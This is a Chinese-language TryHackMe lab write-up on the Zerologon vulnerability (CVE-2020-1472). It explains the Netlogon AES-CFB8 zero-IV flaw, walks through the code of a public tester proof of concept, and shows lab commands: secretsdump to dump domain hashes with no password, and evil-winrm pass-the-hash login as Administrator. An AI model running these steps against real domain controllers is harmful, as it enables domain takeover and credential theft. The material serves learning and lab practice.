0%

THM学习日寄15-Zerologon (CVE-2020-1472)

  • 漏洞简介

    windows 域控中严重的远程提取漏洞,通过使用 Netlogon 远程协议(MS-NRPC)连接域控制器来获得域管理员权限

  • 漏洞分析:

    关于 netlogon 协议:

    Client Challenge :$8$ 字节,攻击者可控

    Server Challenge :$8$ 字节,由域控生成,攻击者不可控,但可通过多次发起连接来重新生成

    secret :用户密码 hash

    challengesClient Challenge+Server Challenge

    Session keyAES 的加密密钥,由 secretchallenge 生成

    Client credential :$8$ 字节,由 Session keyclient challenge 加密生成,方式是 AES-CFB8

    黄色部分是 $16$ 字节的初始向量 IV ,蓝色部分为明文,对应 client challenge

    其对明文的每个字节加密,由 $16$ 字节的初始化向量 IV 作为输入进行 AES 得到一个输出,取输出第一个字节与明文第一个字节作异或,得到第一个字节的密文

    继续由后 $15$ 字节的 IV 加上第一个字节的密文作为输入进行 AES 得到一个输出,取输出第一字节与明文第二字节作异或,得到第二个字节的密文

    以此类推得到 $8$ 字节密文作为 Client credential

    但微软错误的将 $16$ 字节的 IV 设置为全 $0$ ,而考虑到密文的生成过程:此时若第一步运算结果为 $00$ ,且明文部分也为人为制造的全 $0$ :由后几步的运算过程和结果均与第一步相同,即最终生成的密文全 $0$

    而对于 AES 运算,输入全 $0$ ,改变密钥就可以爆破出加密结果为 $00$ 的情况

    上文提到,密钥 Session key=secret+challenges ,而 secret 为密码 hash 保持不变, client challenge 为可控输入,已为全 $0$ ,可变量只剩域控制器随机生成的 server challenge

    那么不断发起新连接,直至 AES 输出的第一个字节为 $00$ ,此时就可以用 $8$ 个字节全为 $00$ 的 client credential 完成域身份认证,理论上平均 $2^8$ 次碰撞即可

    在整个碰撞过程中,session key 始终未知,可以通过设置 flag 使之后过程不使用其进行加密

    而每个操作的调用都需要包含验证值,需要攻击者提供一个全零验证和一个全零时间戳来绕过

    利用 NetrServerPasswordSet2 调用更新密码,在该远程调用的过程中会发送新密码的密文,长度为 $516$ 比特,后四 $bit$ 表示密码长度

    由于该密文是由 session key 加密的,同理会为全 $0$ ,根据上面的加密算法反推,其真实的密码的明文也是 $0$ 并且长度为 $0$ ,这样就置空了 server 密码。

    攻击者使用 impacketsecretdump ,可以 dump 域内用户 hash ,包括域控管理员

  • poc 分析

    https://raw.githubusercontent.com/SecuraBV/CVE-2020-1472/master/zerologon_tester.py

    • 76-86

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      if __name__ == '__main__':
      if not (3 <= len(sys.argv) <= 4):
      print('Usage: zerologon_tester.py <dc-name> <dc-ip>\n')
      print('Tests whether a domain controller is vulnerable to the Zerologon attack. Does not attempt to make any changes.')
      print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.')
      sys.exit(1)
      else:
      [_, dc_name, dc_ip] = sys.argv

      dc_name = dc_name.rstrip('$')
      perform_attack('\\\\' + dc_name, dc_ip, dc_name)

      朴实的主函数,确保变量中只有 $3$ 个:zerologon_tester.py DCNAME IP

      并且消去 DCNAME 前面的 $ 符号

    • 57-73

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      def perform_attack(dc_handle, dc_ip, target_computer):

      print('Performing authentication attempts...')
      rpc_con = None
      for attempt in range(0, MAX_ATTEMPTS):
      rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)
      if rpc_con == None:
      print('=', end='', flush=True)
      else:
      break

      if rpc_con:
      print('\nSuccess! DC can be fully compromised by a Zerologon attack.')
      else:
      print('\nAttack failed. Target is probably patched.')
      sys.exit(1)

      第四行重复至多 MAX_ATTEMPTS 次来爆破 server client

    • 20-25

      1
      2
      3
      4
      5
      6
      def try_zero_authenticate(dc_handle, dc_ip, target_computer):

      binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
      rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
      rpc_con.connect()
      rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

      3-6 行在使用 NRPC 来和域控制器建立联系

      调用 hept.map 生成 netlogon 服务的 RPC 绑定字符串,其中 nrpc.MSRPC_UUID_NRPCNetlogon 服务的 UUID ,并指定协议为 TCP

      随后创建并返回一个基于 DC RPC 绑定的 DCERPC 连接对象

      并建立联系,将 RPC 连接绑定到 netlogon 服务

    • 27-45

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      plaintext = b'\x00' * 8
      ciphertext = b'\x00' * 8

      flags = 0x212fffff

      nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
      try:
      server_auth = nrpc.hNetrServerAuthenticate3(rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,target_computer + '\x00', ciphertext, flags)

      assert server_auth['ErrorCode'] == 0
      return rpc_con

      设置 $8$ 字节的全 $0$ 的明文和密文,设置的 flags 如上文所说,会防止使用 session key 加密

      随后调用 hNetrServerReqChallenge 发送身份验证的挑战请求

      try 语句用于尝试身份验证,调用 hNetrServerAuthenticate3 函数向 DC 发送身份验证请求。ServerSecureChannel 指定通信通道类型

      如果DC返回0的错误码,则身份验证成功。

      但很显然这个只有验证没有攻击,攻击参考 https://raw.githubusercontent.com/Sq00ky/Zero-Logon-Exploit/master/zeroLogon-NullPass.py

      答案可以在这里找到

      NetrServerPasswordSet2

  • 实验

    扫一下先:

    拿到 DC nameDC01

    直接脚本:

    可以看到已经置空密码

    接下来用 secretdump 来获取用户密码 hash

    这里由于我用的 attackbox ,已经有集成的工具了:

    1
    secretsdump.py -just-dc -no-pass DC01\$@10.10.3.200

    拿到的这些可以考虑去爆破密码

    但这里直接使用 evil-winrm 登录管理员账户:

    1
    evil-winrm -u Administrator -H 3f3ef89114fb063e3d7fc23c20f65568 -i 10.10.3.200